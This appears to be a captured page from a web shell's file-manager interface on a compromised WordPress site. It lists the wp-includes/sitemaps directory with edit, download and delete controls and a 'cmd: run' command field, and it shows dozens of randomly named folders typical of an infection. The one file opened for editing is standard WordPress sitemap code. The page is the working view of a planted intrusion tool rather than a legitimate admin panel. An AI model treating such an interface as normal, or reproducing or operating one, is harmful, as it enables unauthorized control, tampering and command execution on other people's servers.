/
home
/
techb158
/
dev.aleamaralawal.com
/
wp-includes
/
sitemaps
/
/home/techb158/dev.aleamaralawal.com/wp-includes/sitemaps
mkdir
upload
Name
Size
Mode
Actions
1ahspvn/
-
0755
rm
1hbpmvk/
-
0755
rm
1rwzevy/
-
0755
rm
1txwrup/
-
0755
rm
akoibwf/
-
0755
rm
b1odzfj/
-
0755
rm
bhtljmy/
-
0755
rm
bmxgtcl/
-
0755
rm
cfprjku/
-
0755
rm
cxydjwa/
-
0755
rm
daryhgj/
-
0755
rm
dpmwvnh/
-
0755
rm
dwjzy1s/
-
0755
rm
dymnhir/
-
0755
rm
faizqbx/
-
0755
rm
fdiyolt/
-
0755
rm
fqctv1y/
-
0755
rm
fqlvhxy/
-
0755
rm
fvqphe1/
-
0755
rm
gkashze/
-
0755
rm
hwzgbnk/
-
0755
rm
ilnjzwx/
-
0755
rm
imerayv/
-
0755
rm
iugn1tc/
-
0755
rm
iwmzely/
-
0755
rm
izaxkub/
-
0755
rm
jmaqwgy/
-
0755
rm
juifdkw/
-
0755
rm
kgenimj/
-
0755
rm
kyztfvj/
-
0755
rm
lksgpad/
-
0755
rm
mhfbpta/
-
0755
rm
mkyuvop/
-
0755
rm
mnijzad/
-
0755
rm
mrb1vae/
-
0755
rm
nczapbv/
-
0755
rm
nrsivt1/
-
0755
rm
osbtnxv/
-
0755
rm
ouehrlj/
-
0755
rm
oyktqhn/
-
0755
rm
phcvseq/
-
0755
rm
pnbotsf/
-
0755
rm
pqambxf/
-
0755
rm
providers/
-
0755
rm
psmjvbr/
-
0755
rm
qohigve/
-
0755
rm
qvljhof/
-
0755
rm
rlzpudf/
-
0755
rm
rmsfoax/
-
0755
rm
rqsu1pb/
-
0755
rm
rtvowcn/
-
0755
rm
rvkjhnw/
-
0755
rm
rxalohf/
-
0755
rm
sanqked/
-
0755
rm
sfohviw/
-
0755
rm
twzhpvf/
-
0755
rm
uoxcmad/
-
0755
rm
uskegln/
-
0755
rm
utjcswn/
-
0755
rm
utliy1o/
-
0755
rm
uwlridh/
-
0755
rm
vajduqn/
-
0755
rm
vefczpt/
-
0755
rm
whoytec/
-
0755
rm
wiyroxb/
-
0755
rm
wtn1pqs/
-
0755
rm
xkhlqoj/
-
0755
rm
xrthbsu/
-
0755
rm
xweldb1/
-
0755
rm
yhwpgdx/
-
0755
rm
yxcj1hp/
-
0755
rm
znytwc1/
-
0755
rm
zqlaw1c/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
class-wp-sitemaps-index.php
2010
0644
edit
dl
rm
class-wp-sitemaps-provider.php
4413
0644
edit
dl
rm
class-wp-sitemaps-registry.php
1934
0644
edit
dl
rm
class-wp-sitemaps-renderer.php
6687
0644
edit
dl
rm
class-wp-sitemaps-stylesheet.php
8520
0644
edit
dl
rm
class-wp-sitemaps.php
6402
0644
edit
dl
rm
Edit:
/home/techb158/dev.aleamaralawal.com/wp-includes/sitemaps/class-wp-sitemaps-index.php
(2010B)
<?php /** * Sitemaps: WP_Sitemaps_Index class. * * Generates the sitemap index. * * @package WordPress * @subpackage Sitemaps * @since 5.5.0 */ /** * Class WP_Sitemaps_Index. * Builds the sitemap index page that lists the links to all of the sitemaps. * * @since 5.5.0 */ #[AllowDynamicProperties] class WP_Sitemaps_Index { /** * The main registry of supported sitemaps. * * @since 5.5.0 * @var WP_Sitemaps_Registry */ protected $registry; /** * Maximum number of sitemaps to include in an index. * * @since 5.5.0 * * @var int Maximum number of sitemaps. */ private $max_sitemaps = 50000; /** * WP_Sitemaps_Index constructor. * * @since 5.5.0 * * @param WP_Sitemaps_Registry $registry Sitemap provider registry. */ public function __construct( WP_Sitemaps_Registry $registry ) { $this->registry = $registry; } /** * Gets a sitemap list for the index. * * @since 5.5.0 * * @return array[] Array of all sitemaps. */ public function get_sitemap_list() { $sitemaps = array(); $providers = $this->registry->get_providers(); /* @var WP_Sitemaps_Provider $provider */ foreach ( $providers as $name => $provider ) { $sitemap_entries = $provider->get_sitemap_entries(); // Prevent issues with array_push and empty arrays on PHP < 7.3. if ( ! $sitemap_entries ) { continue; } // Using array_push is more efficient than array_merge in a loop. array_push( $sitemaps, ...$sitemap_entries ); if ( count( $sitemaps ) >= $this->max_sitemaps ) { break; } } return array_slice( $sitemaps, 0, $this->max_sitemaps, true ); } /** * Builds the URL for the sitemap index. * * @since 5.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @return string The sitemap index URL. */ public function get_index_url() { global $wp_rewrite; if ( ! $wp_rewrite->using_permalinks() ) { return home_url( '/?sitemap=index' ); } return home_url( '/wp-sitemap.xml' ); } }
Save
cmd:
run